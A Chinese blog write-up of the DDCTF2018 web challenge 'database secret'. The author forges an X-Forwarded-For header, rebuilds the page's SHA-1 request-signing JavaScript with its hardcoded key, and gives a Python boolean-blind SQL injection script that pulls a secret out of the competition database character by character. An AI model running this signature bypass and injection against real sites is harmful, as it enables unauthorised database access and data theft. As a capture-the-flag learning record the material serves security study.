DDCTF2018 WEB 部分WP

一、前言

这次的DDCTF玩的很开心,因为在这次比赛里终于真正肝出了一道WEB,算是实现了从0到1的突破,从做不出题的小白变成了做出过一道题的小白。

WEB1为自己的思路,其余题为看HerryzhaoWfox 大佬的思路操作了一下,。我慢慢理解,博客也慢慢更(题开到明年是真的良心,感谢主办方)。

二、正文

1、WEB1:数据库的秘密

打开所给链接,发现需要伪造IP,我们用火狐的插件modify headers 修改一下,成功进入网页:



我们先测试一下,发现会生成两个参数sig和time


看一下网页代码,发现几个入手点:

1、hidden的author属性,后来发现是一个注入点

2、两个js文件,后来发现在绕过前端验证时会用到。


经过各种折腾,最后终于理解了内在关系。

1、在我们提交一个查询请求时,网站会先执行两个js文件生成time和sig参数,并将两个参数与发送的数据一起传入服务器进行验证。所以我们要想在脚本里把前端验证掉。经过问度娘知道了python可以通过execjs和PyV8库来执行JS函数

2、用 ' or 1=1# 测试, 发现author果然是注入点,判断是这道题是布尔盲注。

整合后的JS文件为(代码太丑了但是还是贴一下吧):

function signGenerate(obj) {
   //var str0 = '';
   // for (i in obj) {
   //     if (i != '') {
   //         str1 = '';
   //         str1 = i + '=' + obj[i];
   //         str0 += str1
   //     }
   // }


    var char={'char1':'id=','char2':'title=','char3':'author=','char4':'date=', 'char5':'time='}
   var str0=char['char1']+obj['id']+char['char2']+obj['title']+char['char3']+obj['author']+char['char4']+obj['date']+char['char5']+obj['time']
   var key='adrefkfweodfsdpiru';
    strrr=(str0 + key)
   return hex_math_enc(strrr)
    // decodeURI(obj);
    // return obj
};


function submitt(obj) {
       var key='adrefkfweodfsdpiru';
       var sign = signGenerate(obj, key);
       return sign;
}
/*var obj = {id: '', title: '', author: '', date: '', time: parseInt(new Date().getTime() / 1000)};*/

function gettime()
{
    return parseInt(new Date().getTime() / 1000);
};

/*
 * A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined
 * in FIPS PUB 180-1
 * Version 2.1-BETA Copyright Paul Johnston 2000 - 2002.
 * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
 * Distributed under the BSD License
 * See http://pajhome.org.uk/crypt/md5 for details.
 */
/*
 * Configurable variables. You may need to tweak these to be compatible with
 * the server-side, but the defaults work in most cases.
 */
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase     */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance  */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode    */
/*
 * These are the functions you'll usually want to call
 * They take string arguments and return either hex or base-64 encoded strings
 */
function hex_math_enc(s) {
    return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}
function b64_math_enc(s) {
    return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}
function str_math_enc(s) {
    return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}
function hex_hmac_math_enc(key, data) {
    return binb2hex(core_hmac_math_enc(key, data));
}
function b64_hmac_math_enc(key, data) {
    return binb2b64(core_hmac_math_enc(key, data));
}
function str_hmac_math_enc(key, data) {
    return binb2str(core_hmac_math_enc(key, data));
}
/*
 * Perform a simple self-test to see if the VM is working
 */
function math_enc_vm_test() {
    return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d";
}
/*
 * Calculate the SHA-1 of an array of big-endian words, and a bit length
 */
function core_math_enc(x, len) {
    /* append padding */
    x[len >> 5] |= 0x80 << (24 - len % 32);
    x[((len + 64 >> 9) << 4) + 15] = len;
    var w = Array(80);
    var a = 1732584193;
    var b = -271733879;
    var c = -1732584194;
    var d = 271733878;
    var e = -1009589776;
    for (var i = 0; i < x.length; i += 16) {
        var olda = a;
        var oldb = b;
        var oldc = c;
        var oldd = d;
        var olde = e;
        for (var j = 0; j < 80; j++) {
            if (j < 16) w[j] = x[i + j];
            else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1);
            var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), math_enc_kt(j)));
            e = d;
            d = c;
            c = rol(b, 30);
            b = a;
            a = t;
        }
        a = safe_add(a, olda);
        b = safe_add(b, oldb);
        c = safe_add(c, oldc);
        d = safe_add(d, oldd);
        e = safe_add(e, olde);
    }
    return Array(a, b, c, d, e);
}
/*
 * Perform the appropriate triplet combination function for the current
 * iteration
 */
function math_enc_ft(t, b, c, d) {
    if (t < 20) return (b & c) | ((~b) & d);
    if (t < 40) return b ^ c ^ d;
    if (t < 60) return (b & c) | (b & d) | (c & d);
    return b ^ c ^ d;
}
/*
 * Determine the appropriate additive constant for the current iteration
 */
function math_enc_kt(t) {
    return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;
}
/*
 * Calculate the HMAC-SHA1 of a key and some data
 */
function core_hmac_math_enc(key, data) {
    var bkey = str2binb(key);
    if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
    var ipad = Array(16),
        opad = Array(16);
    for (var i = 0; i < 16; i++) {
        ipad[i] = bkey[i] ^ 0x36363636;
        opad[i] = bkey[i] ^ 0x5C5C5C5C;
    }
    var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
    return core_math_enc(opad.concat(hash), 512 + 160);
}
/*
 * Add integers, wrapping at 2^32. This uses 16-bit operations internally
 * to work around bugs in some JS interpreters.
 */
function safe_add(x, y) {
    var lsw = (x & 0xFFFF) + (y & 0xFFFF);
    var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
    return (msw << 16) | (lsw & 0xFFFF);
}
/*
 * Bitwise rotate a 32-bit number to the left.
 */
function rol(num, cnt) {
    return (num << cnt) | (num >>> (32 - cnt));
}
/*
 * Convert an 8-bit or 16-bit string to an array of big-endian words
 * In 8-bit function, characters >255 have their hi-byte silently ignored.
 */
function str2binb(str) {
    var bin = Array();
    var mask = (1 << chrsz) - 1;
    for (var i = 0; i < str.length * chrsz; i += chrsz)
        bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);
    return bin;
}
/*
 * Convert an array of big-endian words to a string
 */
function binb2str(bin) {
    var str = "";
    var mask = (1 << chrsz) - 1;
    for (var i = 0; i < bin.length * 32; i += chrsz)
        str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
    return str;
}
/*
 * Convert an array of big-endian words to a hex string.
 */
function binb2hex(binarray) {
    var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
    var str = "";
    for (var i = 0; i < binarray.length * 4; i++) {
        str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF);
    }
    return str;
}
/*
 * Convert an array of big-endian words to a base-64 string
 */
function binb2b64(binarray) {
    var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var str = "";
    for (var i = 0; i < binarray.length * 4; i += 3) {
        var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * (3 - (i + 2) % 4)) & 0xFF);
        for (var j = 0; j < 4; j++) {
            if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
            else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F);
        }
    }
    return str;
}

最后的脚本如下:

import requests
import execjs
import time
import PyV8
import binascii

db_name=''
url="http://116.85.43.88:8080/ZVDHKBUVUZSTJCNX/dfe3ia/index.php"

headers={'X-Forwarded-For':"123.232.23.245"}
res=requests.session()

def get_sig():
   f = open("1234.js", 'r')
   line = f.readline()
   htmlstr = ''
   while line:
       htmlstr = htmlstr + line
       line = f.readline()
   return htmlstr


jsstr = get_sig()
ctx = execjs.compile(jsstr)

print('')
for i in range(1,50):
   print i
   for j in range(48,130):
##   for j in range(95,130):
      time=ctx.call('gettime')
      time1=str(time)

      data={'id':"",'title':'','author':"",'date':"",'time':time}

##      data['author']="admin' and(ascii(substr((select table_name from information_schema.tables  limit 28,1),%d,1)) between %d and %d); #"%(i,j,j)
      data['author']="admin' and(ascii(substr((select secvalue from ctf_key6  limit 0,1),%d,1)) between %d and %d); #"%(i,j,j)

      
      sig=ctx.call('signGenerate',data)
      print j
      params={'sig':sig,'time':time}
      m=res.post(url,headers=headers,params=params,data=data)
      if "ctf title1" in m.content.decode('utf-8'):
         db_name += chr(j)
         print(db_name)
         break
print('rusult:',db_name)


  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值